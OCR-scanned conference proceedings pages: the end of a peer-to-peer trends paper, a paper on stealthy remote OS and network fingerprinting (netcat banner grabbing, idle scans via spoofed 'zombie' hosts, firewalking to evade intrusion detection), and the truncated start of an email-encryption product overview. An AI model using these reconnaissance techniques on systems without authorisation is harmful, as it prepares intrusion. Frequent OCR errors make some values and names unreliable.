form. No other technology forced that development like Peer-to-Peer. This
short paper will briefly summarize emerging trends and promising concepts
for Peer-to-Peer systems and describe upcoming challenges for developers.

1 Introduction

A significant new paradigm for the Internet are Peer-to-Peer (P2P) systems. Those
networks create most of the Internet network traffic today and regroup millions of
users in new clusters on the network level. Those P2P systems often contain mil-
lions of nodes [RFI02], terabytes of data [KLL0O4] and cause most of the total Inter-
net traffic nowadays [MKL*02]. Despite their enormous performance power P2P
networks are often reduced to the file sharing context [MKL*02]. This limitation
leads to a P2P discussion which focuses on terms like copyright and ownership
and overlooks the power such networks accommodate from a technical point of
view.

2 Spotlight on Peer-to-Peer

Today’s P2P applications can be clutched into three areas: File sharing, Dis-
tributed Computing and Communication. When we are looking for new P2P
application fields we definitely miss advanced services that go beyond commu-
nication and sharing of data or computer power. In contrast to Napster [Nap],
the first prominent example of P2P, today’s systems do not anymore employ a
single centrally stored index. Protocols of famous P2P Applications like Kazaa

1
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[LRWO3], [Neo] or Gnutella 2 [Gnu] use hybrid architectures with super peers or
hubs to scale with the vast amount of users. Apparently P2P offers a lot of ad-
vantages compared to traditional client-server systems such as performance and
cost reduction, though P2P developers are confronted with quite a lot new chal-
lenges that traditional Web-Developers never had to deal with. Scientists have
build several interesting concepts for P2P networks, e.g. Anthill, a complex adap-
tive system, where peers are modeled as ants that are able to build huge powerful
nests when they collaborate appropriately [MonO1]. However, the field of P2P is
driven by applications and their success. It’s therefor necessary to look at promis-
ing concepts for various P2P challenges as well as consider trends in popular file
sharing networks. The next sections will briefly present such challenges and dis-
cuss emerging trends of today’s P2P systems.

3 Challenges

3.1 Scalability

While a single name indexing server like central Napster is easy to attack for sev-
eral kind of institutions, e.g. music and video industry, a few years ago Gnutella
seemed to be the perfect solution with a complete decentralized network consist-
ing of servant peers. Gnutella was based on a protocol, which can be briefly sum-
marized as broadcasting queries with a fixed limited scope.While in the year 2000
everyone expected Gnutella to become even bigger then Napster, research [RFI02]
and the dramatically deprivation of users both showed the weakness of that plain
Gnutella protocol. The effect was the implementation of mostly hybrid protocols
for popular protocols like Fasttrack [LRWO03] and the adaption of already existing
concepts from distributed and concurrent computing [SMK*01, DBK*01]. To-
day there are several scale-proven systems [MonO1, CSWHO1, KBC™00]. How-
ever, scalability in P2P also has to be proved in real-life situations. Beside the
integration of more sophisticated concepts in the protocols of the most popular
P2P systems there is still a gap between existing concepts and their adaptation
to applications. Let‘s think of Bittorrent [Coh03], a recently emerged distributed
P2P protocol. From a scientific view there is room for several improvements:
Traffic overhead is to large due to the use of HTTP and internally hashing could
be improved dramatically with using hash trees instead of lists. ISP’s might get
crazy when they think how much costs could be reduced with a switch to a more
spare protocol at that particular user size. P2P developers can use frameworks like
JXTA that offers abstraction from the network layer to build scalable P2P appli-
cations. Despite JXTA is originally written in Java there are several bindings to
other languages like ¢ and python.
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3.2 Security

Security can be perceived as a double sided sword for P2P. With todays aggregra-
tion between tiny data-critical local area networks and huge autonomous danger-
ous networks security is one of the major for developers and users. Distributed im-
plementations create additional challenges for security compared to client-server
architectures. Conventional security mechanisms like firewalling and anti-virus
software do not work for pure P2P environments at all or at least have to be
adapted. While there are various security-related concepts for distributed systems
[FM02, RFH'01, DFMO1] current file sharing systems don’t offer too much secu-
rity concepts. Many users seem to be afraid of file sharing applications because of
the enormous risk that comes along with unchecked data. This led to a paradigm
where P2P is associated with security risks applications. But on the other hand
P2P technology does not only offer new security problems. Usually, centrally im-
plemented solutions like anti-virus software and anti-spamfiltering can integrate
P2P technology to be more powerful. Think of the traditional file sharing appli-
cations: Distributing data can not only be used to deploy viruses and worms on
the end-users computers but can help to deploy anti-virus definitions in a discrete,
secure space. Vipul’s Razor [Raz] is an example for P2P spamfiltering. It uses
a distributed, collaborative, spam detection and filtering network. Through user
contribution, Razor establishes a distributed and constantly updating catalog of
spam in propagation that is consulted by email clients to filter out known spam.

3.3 Metadata

Locating data like mp3-encoded music in a P2P system could be simply imple-
mented with query broadcasting, though this is not quite efficient [RFI02] or with
distributed hash tables with is more challenging but powerful. Answering more
complex queries like Give me textual information about Christoph Columbus be-
fore he discovered America seems to be a very distinct, far more complex task.
For example, traditional P2P networks are not even able to search for Mangas in
a pool of video files, since avis and mpgs don’t annotate something like a movie
type. Mp3-Encoded Music files often comprehend ID3-tags with information like
song title, artist, year of appearance and music style. None of the current popular
file sharing systems support searching including this type of information due to
ascending message traffic overhead. To convert such raw data into information
or at least into correct content and therefore make it to locatable and traceable
information appropriate data management concepts are necessary. Edutella [NO1]
is a prototype E-Learning P2P system. It based upon Metadata standards defined
for the WWW and uses an RDF-based metadata infrastructure for P2P applica-
tions. Another application that adapts metadata structures is Lionshare[L.I04].
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Lionshare is an academic-oriented, P2P (P2P) networking technology that merges
secure and expanded electronic file-exchange capabilities with information gath-
ering tools into a single, open source application. In contrast to Edutella it uses an
own appropriate metadata schema . Though both systems are deployed in small
environments they show us where P2P can be successful beyond the scope of file
sharing in next generation systems.

4 Trends

Besides the challenges for developers of innovative, new P2P applications we
should take a look at todays most popular systems, even if this is pure file sharing
again. These systems comprehend what more advanced prototype systems lack
of and what makes P2P that famous, the huge amount of users. Furthermore we
should look at the content distribution in such systems to get knowledge about
the user behavior and which amount of which particular data types is apparently
shared.

4.1 Content

While the video industry tries to avoid the failures the music industry did since
Napster emerged, its definitely worth to look into detail of those systems and find
out if video files have become a factor. To collect the types and the amount of
content we implemented an analyze tool that connects to randomly chosen hubs
on the Direct Connect [Neo] P2P network. It collects data lists from connected
users on those hubs and classifies types by using a huge table of commonly known
file extensions.

Figures 1 depicts that music topic is most popular of all content but has lost
its superior position when it comes to absolute data size to video content. Music
is only top in the total number of files, however a music file is much smaller than
a video file (3.6 MB vs. 145.6 MB) its total amount is significantly smaller (1.4
TB vs. 5.3 TB). Since the other class of Figure 1 comprises more files in total
and by number than the popular classes together, we have a deeper look on the
other classes. The results are depicted in Figure 2. This study proofs that (apart
from popular video and music content) users are willing to share huge amounts
of various data like text data, source files, web pages and images. That content
outnumbers music and video in terms of total number but is less in total space
then music or video files. ISP’s mainly have to be concerned with the total size
of certain contents. Due to the traffic they generate they still can keep their view
on file sharing systems as multimedia sharing. However for P2P developers this
trend seems to be highly interesting and Next-Generation P2P Systems. Lets think
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of on integrated browser or P2P collaboration tools for coding when we look at
the vast amount of html- and programming files we find in this study.

4.2 Popular systems

Cachelogic recently published a survey about P2P traffic to advertise for a new
network analysis tool called Streamsight [Cac]. They measured network traffic
at leading ISP’s over a six-month period to get more advanced statistics than any
other study about P2P networks before. The most obvious result was that P2P ap-
plications outweighed all other web traffic by far. While industry and media has
published several announcements in the last month that P2P traffic is on decline
due to their attacking on the platforms or on single users. Cachelogic states that
P2P traffic is mostly stable if not rising. Since more and more P2P applications
use dynamic or variable ports or mask the traffic traditional simplified TCP mea-
surements do not work anymore. Even known ports like 25 or 80 could not be
classified to be truly web and mail since P2P applications even use those ports,
e.g. JXTA uses HTTP to get around routers and firewalls. So as to classify traf-
fic this way its necessary to look into packages more detailed that just to watch
ports. When it comes to file sharing popularity media still focuses on famous
platforms like Edonkey and Kazaa or applications that use famous protocols like
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Gnutella and Fasttrack. Cachelogic states that Kazaa is on decline and Edonkey
is on rise but are only second and third compared to the definitely leader when it
comes to creating traffic for ISP’s, Bittorrent [Coh03]. Though Bittorrent as a dis-
tributed protocol quite like ftp is more a service then a platform, it has become the
dominating P2P system in a short time. There are several clients like Bittornado
and ABC which basically implement the standard client with a few modifications
. Since Bittorrent is such a huge P2P traffic creator it outnumbers HTTP traffic
easily and for ISP’s is the number one to deal with. Again its mostly interesting
to see how such an simplified protocol with huge set of improvements was able
to get such an attention in a short time while scientists develop several more so-
phisticated concepts which are not being adapted to such system because of their
complexity.

S Summary

This paper briefly summarized current trends and upcoming challenges in the P2P
area from a scientific and application-driven view. While file sharing applications
still remain the most popular P2P examples file sharing users changed platforms
and more interesting their data. Furthermore today there are several solutions to
problems like scalability and security as there are promising concepts like meta-
data to take P2P to the next level.

References

[Cac] Cachelogic. Cachelogic 2004. http://www.cachelogic.com.
[Coh03] Bram Cohen. Incentives build robustness in bittorrent, 2003.

[CSWHO1] Ian Clarke, Oskar Sandberg, Brandon Wiley, and Theodore W. Hong.
Freenet: A distributed anonymous information storage and retrieval
system. Lecture Notes in Computer Science, 2009:46+, 2001.

[DBK'01] Frank Dabek, Emma Brunskill, M. Frans Kaashoek, David Karger,
Robert Morris, Ion Stoica, and Hari Balakrishnan. Building peer-to-
peer systems with Chord, a distributed lookup service. In Proceedings
of the 8th Workshop on Hot Topics in Operating Systems (HotOS-
VIII), pages 81-86, 2001.

[DFMO1] Roger Dingledine, Michael J. Freedman, and David Molnar. The free
haven project: Distributed anonymous storage service. Lecture Notes
in Computer Science, 2009:67-95, 2001.

6

40 | 21C3 | Towards Nexzt-Generation feer-to-feer Systems [1711]



[FMO2] Michael J. Freedman and Robert Morris. Tarzan: A peer-to-peer
anonymizing network layer. In Proceedings of the 9th ACM Confer-
ence on Computer and Communications Security (CCS 2002 ), Wash-
ington, D.C., November 2002.

[Gnu] Gnutella2.com. Gnutella. http://www.gnutella2.com.

[KBC'T00] John Kubiatowicz, David Bindel, Yan Chen, Patrick Eaton, Dennis
Geels, Ramakrishna Gummadi, Sean Rhea, Hakim Weatherspoon,
Westly Weimer, Christopher Wells, and Ben Zhao. Oceanstore: An
architecture for global-scale persistent storage. In Proceedings of
ACM ASPLOS. ACM, November 2000.

[KLO4] M. Kolweyh and U. Lechner. Data mining in peer-to-peer systemen.
In Virtuelle Organisation und Neue Medien 2004, Workshop GeN-
eMe2004 Gemeinschaften in Neuen Medien, pages 103—114, Josef
Eul Verlag, Lohmar - Koln, 2004. M. Engelien and K. Meif3ner.

[LRWO3] N. Leibowitz, M. Ripeanu, and A. Wierzbicki. Deconstructing the
kazaa network. In 3rd IEEE Workshop on Internet Applications
(WIAPP’03), Santa Clara, CA., 2003.

[MKL"02] Dejan S. Milojicic, Vana Kalogeraki, Rajan Lukose, Kiran Nagaraja,
Jim Pruyne, Bruno Richard, Sami Rollins, and Zhichen Xu. Peer-to-
peer computing. Technical Report 57, HP Labs, 2002.

[MonO1]  Alberto Montresor. Anthill: a framework for the design and analy-
sis of peer-to-peer systems. In 4th European Research Seminar on
Advances in Distributed Systems, Bertinoro, Italy, May 2001.

[Nap] Napster Inc. Napster.com. http://www.napster.com.
[Neo] NeoModus. Direct connect. http://www.neo-modus.com.
[Raz] Project: Vipul’s Razor. Vipul’s razor. http://razor.sourceforge.net.

[RFHT01] Sylvia Ratnasamy, Paul Francis, Mark Handley, Richard Karp, and
Scott Shenker. A scalable content addressable network. In Proceed-
ings of ACM SIGCOMM 2001, 2001.

[RFI02] M. Ripeanu, I. Foster, and A. Iamnitchi. Mapping the gnutella net-
work: Properties of large-scale peer-to-peer systems and implications
for system design. IEEE Internet Computing Journal, 6(1), 2002.

Chaos Computer Club | www. cec.de/congress/2004 | 31



[SMK*01] Ion Stoica, Robert Morris, David Karger, M. Francs Kaashoek, and
Hari Balakrishnan. Chord: A scalable peer-to-peer lookup service
for internet applications. In Proceedings of the 2001 conference on
applications, technologies, architectures, and protocols for computer
communications, pages 149-160. ACM Press, 2001.

d2 | 21C3 | Towards MNexzt-Generation feer-to-feer Systems [1711]



Remote Network Analysis

B CHEMNITZ UNIVERSITY OF TECHNOLOGY

Remote Network Analysis

Torsten Hoefler
htor@cs.tu-chemnitz.de

28th November 2004

Abstract

It is often necessary to collect information about remote sys-
tems without having direct shell access to them. Additional
knowledge about the system’s (operating system and user
space) software and the network structure is very helpful
for identifying possible attack scenarios which could finally
lead to a compromise of the remote system or network. Most
systems are accessible from the internet through the IP pro-
tocol suite but often protected by a more or less sophisti-
cated firewall/packetfilter. This paper presents a collection
of techniques which can be used to map hosts and networks
without leaving any traces to Intrusion Detection Systems
(IDS).

1 Introduction

Many attack scenarios start with information gain-
ing. There are several techniques to perform this first
step. The common goal of these methods is to col-
lect as much information as possible and to do this
task as “quite” as possible. Today’s most used com-
munication protocol is the Internet Protocol (IP), thus
many systems and networks use this protocol for in-
ternal and external communication. Many networks
are deployed in the same manner, an internal network
with full internal connectivity, connected and sepa-
rated by a firewall from the internet. The firewall
permits only outgoing accesses from the internal net-
work. This very easy scenario is shown in Figure 1.
If some of the hosts have to serve clients from the in-

Intranet PF

Internet

Figure 1: Easy Firewall Model

ternet, another approach has to be taken. This more
complicated model is shown in Figure 2. All external
servers are deployed in a so called Demilitarized Zone

(DMZ), mostly between two packet filters and appli-
cation gateways. The different possibilities to connect
DMZ-hosts are also shown in Figure 2 (dashed lines).

IDS Log
| = | =

= B B

Intranet PF

Internet

Application Gate

Figure 2: More complex Firewall Model

Generally can be said that internal systems are typi-
cally vulnerable to more attacks than external (DMZ)
hosts. Network and host mapping can be used to
discover ways to reach the internal systems and/or
gather additional information about their structure.
It is also very useful to discover firewall rules or IP-
based access rules for different internal and external
hosts. Furtheron, detailed knowledge about the used
operating systems or applications can be helpful to
find vulnerabilities - the used methodology is called
fingerprinting, and should be performed as hidden as
possible. One, and maybe the best way to hide fin-
gerprinting attempts is to do nothing but collecting
data. If no packet is sent, no packet can trigger an
alert. Another idea is to deeply evaluate responses to
usual requests (e.g. a HTTP request to a webserver).
The packets sent to generate the respose can not be
differentiated from normal packets and so never clas-
sified as evil. Both ideas are discussed in section 3.
But there are several problems with this methodology,
the first is that sniffing without doing anything is very
hard (nearly impossible) in many scenarios. The sec-
ond one is the imprecision of the passive approach.
The active analysing, described in section 4 addresses
this problems and increases the accurancy. The price
to pay for this improvement is mainly the loss of ”si-
lence” - most active scans are easy to detect and pre-
vent. The legacy active methods are well known and
so not discussed in detail. Additionally, there are
some new and more sophisticated techniques to fin-
gerprint remote systems. Some of them are discussed
in section 5.

2 Related Work

There are many approaches for fingerprinting sys-
tems, this paper gives an rough overview about the
techniques and provides links and (limited) examples
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for tools to apply this knowledge automatically. Main
sources and additional information can be found in
the References section at the end. The tool synscan [2]
tries to combine all of the described methods automat-
ically.

3 Passive Analysis

Passive Analysis is mainly done without sending any
packets. Another hidden technique sends normal re-
quest packages which can not be differentiated from
usual traffic and are so hidden from Intrusion Detec-
tion Systems. Thus this approach can also be seen
as "passive”. Analysis can be performed on different
layers of the OSI reference model [1]. This paper only
deals with layer 2, 3 and 4.

3.1 Layer2/3

Layer 2 and 3 are implemented in the IP and the TCP!
for internet communications. These layers are used
to administrate virtual connections between arbitrary
hosts in a network. The connection management is
fully provided by the operating systems TCP/IP stack
(commonly used with the sockets api). Thus using fin-
gerprinting techniques on layer 2 or 3 can only pro-
vide information about the operating system and the
TCP/IP stack.

A commonly used technique for passive fingerprint-
ing of the operating system, called header analysis, is
to examine the headers of TCP/IP packets. There are
several header values in this packets which are not
defined clearly in the RFCs or not implemented cor-
rectly by the operating system vendors. Others reveal
some information by their definition. Examples for
both types are:

e TTL? - starts typically with “defined”, operating
system dependent values (e.g. 255, 128, 64) and is
decremented by each router on the fly

e Ports - gives rough information about used ser-
vices and protocols

e DF-Flag - don’t Fragment flag, mostly set by
newer operating systems

o Window-Size - amount of data that can be
buffered (on the fly at any time)

e TCP-Options - optional tcp-fields, e.g. SACK,
Timestamp ...

1Transmission Control Protocol
2Time To Live

[ Os | TOS| DF| TTL| Window| Options |
Win2000 0 1 | 128 | 65535 | tsval=0,
SACK
Win98 0 1 | 128 | 8760 SACK
Linux 2.2 0 1 | 64 | 32210 | tsval>0,
SACK
Linux 2.4 0 1 |64 | 5792 tsval>0,
SACK
Linux 2.6 0 1 | 64 | 5792 tsval>0,
SACK
FreeBSD 4.6 | 0 1 | 64 | 57344 | tsval>0
FreeBSD5.0 | 0 1 | 64 | 65535 | tsval>0
OpenBSD2x | 16 |0 | 64 | 17520 | tsval=0,
SACK

Table 1: Header Characteristics for different operating
systems

A complete overview about all fields and their aver-
age information content regarding to fingerprinting
can be seen in figure 3.

infermation contained
in TCP/IP packets
(useable for analysis)

Identification

average

Source Port

Sequence Number

Acknowledgment Number

Figure 3: TCP-IP Header Fields and their information
content

311 Example

Table 1 shows different characteristics collected for
random operating systems for SYN/ACK packets.
Figure 4 shows a SYN/ACK header from the server
www.ccc.de collected with a simple tcpdump sniffing
anormal wget http://www.ccc.de . The following header
fields are relevant for a classification:

e TOS: 0
e DF:1

start TTL: 64 (55)
¢ Window Size: 65535

e Options: tsval is set, no SACK
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0x0050 (88)
0x14efdll6 (351260950)
0xbBa20b85 (2963409797)

Figure 4: SYN/ACK Header from www.ccc.de

After comparing the collected values to the table, it
can be assumed that www.ccc.de runs on FreeBSD
5.0 (is this true?). More examples can be found in
the wild. But it is obvious that this methodology is
a hard task and can be easily automated. There are
several tools like ettercap [3], siphon [4] or pOf [5]
which can be used to do the lookup automatically on
huge databases. Some of the tools also provide fuzzy
matching against the signature database. It is also
imaginable to train an artificial intelligence for this
task.

But the passive approach is quite inaccurate and very
slow. The parameters are often changed by system ad-
ministrators® to improve performance or to prevent
fingerprinting. There is also a clear trend noticeable
that most modern operating systems behave more and
more similar, that a clear distinction between them is
hardly possible (e.g. Linux 2.4 vs. Linux 2.6).

3.1.2 Summary

Layer 2/3 fingerprinting utilizes the imprecise stan-
dard definition or incorrect TCP/IP stack implemen-
tations to differ between operating systems. The cur-
rently used signature-database approach has several
disadvantages and can be improved by using fuzzy
matching or artificial intelligence. The precision of re-
mote OS fingerprinting can be enhanced by using ac-
tive fingerprinting methods.

3.2 Layer4

Passive methods for Layer 4 application analysis can
use the same approach for TCP/IP payload, as shown
in chapter 3.1 for header data. Due to the fact that
there is no standardized “payload-protocol”, this task
has to be done for every layer 4 protocol separately.

3either at the host system or on intermediate routers/gateways

There is currently no automated (passive) tool for an-
alyzing the data-streams to the autors knowledge.

4 Active Analysis

Active analysing is mainly done by sending specially
crafted requests and evaluating the responses. This
offers much more flexibility, the packets can be sent in
any way, provoking failures and recording repsonses.
Even non-protocol confirm messages can be sent to
the victim. This analysis can also be done on all differ-
ent layers, layer 2, 3 and 4 are discussed in the follow-
ing sections.

41 Layer2/3

Layer 2/3 fingerprinting is as described in section 3.1
targeted at the TCP/IP stack and operating system
fingerprinting. Well known techniques are used to
query the remote TCP/IP stack under different con-
ditions (e.g. NULL packet to a open port, ACK packet
to a open port, SYN, ACK, and FIN|PSH|URG to a
closed port ...). These special crafted packets are easily
to detect in a TCP/IP stream and can so be blocked*
or modified® by firewalls/gateways. The commonly
used and most advanced tool for performing active
OS detection seems to be nmap® by Fyodor [6]. It com-
bines a lot of different techniques (e.g. FIN to open
port, ISN Sampling, ICMP Tests, TCP Options, Frag-
mentation Handling) to achieve best results. But due
to its popularity, the packets it sends are recognized by
most Intrusion Detection Systems and can be blocked
easily. The second drawback is that nmap needs one
opened and one closed TCP port and one closed UDP
port to perform fingerprinting. This port constellation
is mostly not available if firewalls (even personal fire-
walls) are used to protect the system. Xprobe2 [7],
a nmap-like tool to perform fuzzy matching is also
available but has similar drawbacks. The methodol-
ogy is described in more detail by Fyodor in [8].

4.2 Layer4

There are several techiques available for active finger-
printing level 4 applications. The maybe oldest is the
banner grabbing, which can still be quite interesting
for application information gathering. An easy exam-
ple with netcat ([9]) is given in the following:

%e.g. implicit with stateful firewalling
Se.g. change TTL,TOS or TCP-Options with iptables
6command line option: -O
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htor@archimedes:~$ echo -e "HEAD / HTTP\
/1.0\n\n" | nc www.example.de 80
HTTP/1.1 404 Not Found

Date: Sat, 20 Nov 2004 19:54:52 GMT
Server: Apache/1.3.29 (Unix)

Connection: close

Content-Type: text/html;

The maybe easiest way to find the protocol spoken be-
hind a specific port is to take a look in the IANA as-
signed port number list [10].

Another approach to gain knowledge about the oper-
ating system is the binary analysis of FIP servers (if
the software version is not available by banner grab-
bing). An administrative binary can be downloaded
and analyzed for its format. An example follows:

htor@earchimedes:~$ wget ftp://ftp.ub.\
uni-bielefeld.de/bin/ls --passive \

-o /dev/null

htor@archimedes:~S file 1s

ls: ELF 32-bit MSB executable, SPARC,
version 1 (SYSV), dynamically linked
(uses shared libs), stripped

If these techniques are not applicable, there is an-
other more sophisticated approach by sending differ-
ent protocol “hello”’s and evaluating the answer for
guessing the protocol of the application behind a spe-
cific port. After this step, one could send several spe-
cial crafted protocol requests and generate error re-
sponses to conclude the application type or version
number. This task is very hard to perform manually,
therefore are tools available. Nmap [6] supports ap-
plication fingerprinting with its ”-sV” switch and the
tool amap [11] is also able to perform this kind of scan-
ning.

5 Advanced Methods

This section discusses several techniques which can be
used to perform advanced hidden scanning or finger-
printing. Most of them are hardly detectable and/or
not backtraceable.

5.1 Old Techniques

The old techniques include the inverse mapping,
which sends normal inconspicious packets to hosts
behind firewalls. This method is only applicable for
stateless firewalls and IDS. The last router will re-
spond a ICMP host unreachable packet for every non-
existing host’, enabling the attacker to generate a de-

“most routers determine the existence of a host by the ARP pro-
tocol

tailed network map. Another idea is a so called slow
scan: the packets are sent with a very low frequency
(e.g. <1 packet / hour) that an IDS does not observe
an attack.

5.2 Remote Identification Next Genera-
tion

The RING algorithm, proposed in [12], measures
the TCP retransmission-times and -count and utilizes
the deviations to distinct between different TCP/IP
stacks. A single SYN packet is sent to the victim
and nothing else (no response to SYN/ACK pack-
ets). The count of and the times between the arriv-
ing SYN/ACK packets is measured and compared
to a database. The scheme is shown in Figure 5.
Automated tools are available with snacktime [13]

Attacker Victim

SYN ;;

SYN/ACK
dTI‘__SL"/_'EE————

SYN/ACK

l—
SYN/ACK
\/ \J
Time

Figure 5: RING working principle

and Cron-OS [14].

5.3 Idle Scan

Idle Scanning uses a “zombie”-host for scanning. All
packets are sent with the “zombie”-host as source and
a potential weakness in the zombies IP-Stack imple-
mentation (predictalbe IP-IDs) is used to determine
the result. So the IDS and firewalls at the target net-
work see the “zombie” as requester (attacker). Thus
this technique is also useable to determine IP-based
filter rules (if the IP to test has predictable IP-IDs).
Four steps have to be performed:

1. find a zombie (predictable IP-ID and low current
traffic)
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2. determine the IP-ID of the zombie
3. send spoofed packet to target
4. query zombie for IP-ID

The whole process is shown in Figure 6. Automation
is provided by nmap [6] with the ”-D” command-line

switch.
IP ID test
1. z.B. S/A packet >-
il RST IP ID=2187 —
Attacker Zombie
2. B SYN source="Zombie"
\-’
Attacker @
- ‘7 5 Target
T AT (closed)
Zombie
3 E IP ID test ’
‘ RST IP ID=2188 (closed) =
Attacker Zombie

Figure 6: Idle Scan working principle

5.4 Firewalking

Firewalking can be seen as a technique to traverse fire-
walls. This task is quite easy for stateless firewalls -
just send legal packets which are allowed by the fil-
ter rules (mainly ACK, SYN/ACK, FIN ...) and eval-
uate the response. There is no commmon scheme to
analyse the response packets, but they often contain a
lot of information about the network (e.g. ICMP Host
Unreachable, ICMP Network Unreachable ...).

Another definition for the term firewalking is given by
the Cambridge Technology Partners as ” A Traceroute-
Like Analysis of IP Packet Responses to determine
Gateway Access Control Lists”. This new technique
uses firewall traversing to determine a ruleset without
sending any packet to the target system. It is mainly
done in two steps:

1. determine hop-count to firewall (= HC(FW))

2. send packets with TTL=HC(FW)+1 with SYN flag
set

= if the target host is more than 1 hop behind the gate-
way, the packet will never reach it (the next router will
drop it and respond with ICMP Time exceed). This
only happens if the firewall has permitted the con-
nection. If there is a prohibiting firewall rule, there
will be no or another response. This technique is not

very relieable because the prevention is straightfor-
ward: drop outgoing ICMP time exceed packets.

6 Overview Fingerprinting

Figure 7 gives a slight overview about the differ-
ent fingerprinting techniques and some examples for
tools which can be used for automatic analysis.

| Header Analysws

Layer 4

Layer 2/3 |

ICMP ISN violating|| Retrans.| | Banner | |Protocol
analysis| | analysis| RFC analysis| |grabbing | [simulation
ettercap Xprobe2 hping2 synscan spacktime scanssh nmap
siphon hping2 nmap hping2  cron-os hackbot amap
pof nmap nmap ring nmap

Figure 7: Overview about fingerprinting

References

[1] OSI GrRouP: The OSI Reference Model (see:
http:/ /en.wikipedia.org/wiki/OSI_model)

[2] SYNSCAN http://synscan.sourceforge.net/

[3] ETTERCAP http://ettercap.sourceforge.net/

[4] SIPHON http://siphon.datanerds.net/

[5] POF http://Icamtuf.coredump.cx/p0Of.shtml

[6] NMAP http://www.insecure.org/nmap/

[7] XPROBE2 http://sourceforge.net/projects/xprobe/

[8] FYODOR Remote OS detection via TCP/IP Stack
FingerPrinting

[9] NETCAT http:/ /netcat.sourceforge.net/

[10] TANA ASSIGNED PORT NUMBERS
http://www.iana.org/assignments/port-numbers

[11] AMAP http://www.thc.org/releases.php

[12] RING http://www.intranode.com/pdf/techno/ring-
full-paper.pdf

[13] SNACKTIME http://www.planb-
security.net/wp/snacktime.html

[14] CRON-OS http://home.gna.org/cronos/

Chaos Computer Club | www. cec.de/congress/2004 | 371

Torsten Hoefler

Page 5/5



Ciphire Mail
Technical Introduction

Abstract

Ciphire Mail is cryptographic software providing email encryption
and digital signatures. The Ciphire Mail client resides on the
user's computer between the email client and the email server,
intercepting, encrypting, decrypting, signing, and authenticating
email communication. During normal operation, all operations
are performed in the background, making it very easy to use
even for non-technical users.

Ciphire Mail provides automated secure public-key exchange
using an automated fingerprinting system. It uses cryptographic
hash values to identify and validate certificates, thus enabling
clients to detect malicious modification of certificates. This data
is automatically circulated among clients, making it impossible to
execute fraud without alerting users.

The Ciphire system is a novel concept for making public-key
cryptography usable for email communication. It is the first
transparent email encryption system that allows everyone to
secure their communications without a steep learning curve.
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Overview

Ciphire Mail is cryptographic software providing email encryption and digital
signatures. The Ciphire Mail client resides on the user's computer between the email
client (mail user agent, MUA) and the email server (mail transfer agent, MTA),
intercepting, encrypting, decrypting, signing, and authenticating email
communication. During normal operation, all operations are performed in the
background. This makes Ciphire Mail very similar to a transparent proxy. Apart from
per-user installations, Ciphire Mail may also be deployed on mail servers as a gateway
solution. A combination of per-user and per-server installations is possible, as well.

Public-key exchange and key agreement are automated and handled via certificates
available through a central certificate directory. These services are operated by Ciphire
Labs and do not require any local server installations, additional hardware, or
additional software.

Ciphire Mail uses only well-known standard cryptographic algorithms including RSA,
AES, Twofish, or SHA for its cryptographic operations. It uses 2048-bit keys for
asymmetric algorithms and 256-bit keys for symmetric algorithms.

Installation and Integration

Ciphire Mail Client

The Ciphire Mail client consists of three parts: the core client, a graphical configuration
interface, and mail connector modules (redirector). Supported email protocols include
SMTP, POP3, and IMAP4. The STARTTLS and direct SSL/TLS variants of these protocols
are supported as well.

For the proprietary email systems Microsoft Exchange and Lotus Notes separate
connector modules are available that directly integrate with the Outlook and Notes
client as a plug-in and automatically handle communication between Ciphire Mail and
the email application.

Ciphire Mail Gateway

The Ciphire Mail client can be run in “server mode” providing a gateway solution.
When used in this mode, Ciphire Mail allows creation of single keys as well as creation
of server certificates. By default, lookups are performed to find the -certificate
corresponding to the exact email address of the recipient. If no certificate is found for
this email address, the lookup will automatically fall back to the domain name level.

Ciphire Certificates

Ciphire certificates use ASN.1 format. This makes them similar to X.509 certificates,
with the following exceptions and improvements:

e User controls certificate creation, renewal, and revocation
o Certificate can contain multiple keys (default: RSA, DSA, and ElGamal)
o Certificate links keys to an email address or a fully-qualified domain name (no other

Ciphire Labs Ciphire Mail 2
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information about the user's identity is included)
o Certificate contains multiple issuer signatures (Ciphire CA)
o Certificate contains multiple self-signatures from the private key owner.
o Certificate chaining (security property for renewed certificates)
o Automatic certificate verification via fingerprint lists (see below)

e The client always creates the public-private key pairs; the user's private key never
leaves his computer.

Certification

Certification is an automated process invoked by a Ciphire Mail client when the user
creates a certificate for a specific email address (or fully-qualified domain name). To
verify the existence of the given address and to verify that the owner of the address
owns the private keys corresponding to the public key, the Ciphire CA uses a mail-
based challenge/response mechanism.

Certificates are revoked by issuing a matching revocation certificate. The revocation
has to be authorized by the certificate owner. Renewal of a certificate involves the
revocation of the old and creation of a new certificate. A certificate can be renewed at
any time.

If all criteria for a particular certification request have been met, the Ciphire CA issues
the certificate (or revocation certificate) and publishes it in the Ciphire Certificate
Directory (CCD). The CA ensures that only one active certificate can be available for a
specific address at any time.

Ciphire Certificate Directory

The CCD contains all certificates issued by the Ciphire CA, including active and
revoked certificates. CCD servers are part of a central infrastructure operated by
Ciphire Labs. The infrastructure provides redundant services and is distributed over
multiple data centers in different locations.

Every client can download certificates from the CCD by looking them up by their email
address or their unique serial ID. Lookups by email address always retrieve the current
active certificate, provided one is available for the given address. The CCD uses
multiple caching proxy servers as a front-end service that is being accessed by Ciphire
Mail clients. If a larger number of local clients are to be served, a local Ciphire proxy
can be installed to minimize bandwidth consumption and to increase lookup
performance.

All certificate lookups are fully automated and performed by the Ciphire Mail client
whenever a certificate and its associated public keys are required to process a certain
email message.

Ciphire Labs Ciphire Mail 3
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Trusted Certification and Directory Services

In many public-key cryptography solutions the user is required to blindly trust a third-
party, like a classical certification authority (CA), that the issued certificate is still valid
and has not been tampered with. Other systems, like PGP-based systems, require the
user to perform manual verifications of an owner's identity and integrity of a public
key to find out if it is valid or not.

In the Ciphire system a user is not required to perform manual verifications and most
importantly he is not required to blindly trust the Ciphire CA.

To achieve this, the Ciphire system uses, in addition to the usual CA certification, an
automated fingerprinting system that provides the following:

o Verification, if a certificate for a particular user (email address) has been issued by
the CA (non-repudiation of certificate issuance)

o Verification, that a certificate has not been modified after it has been issued by the
CA (proof of certificate integrity)

This is achieved by the Ciphire Fingerprint System using hash-chaining techniques to
create a trusted log of all certification actions the Ciphire CA has performed. In makes
sure, that old entries in the log cannot be changed at a later time without invalidating
newer entries.

These fingerprint data is made available to all Ciphire Mail clients and used by the
clients to automatically authenticate certificates. To ensure that every client has the
same fingerprint data as any other client, the most current log entry (summary hash)
is exchanged with other clients. When the user sends a secure email message to
another Ciphire user, the client automatically includes the summary hash in the email
message. The receiving client extracts the hash and compares it with the
corresponding hash in its local copy of the fingerprint data. If the hash values do not
match, either the sending client or the receiving client has wrong fingerprint data.The
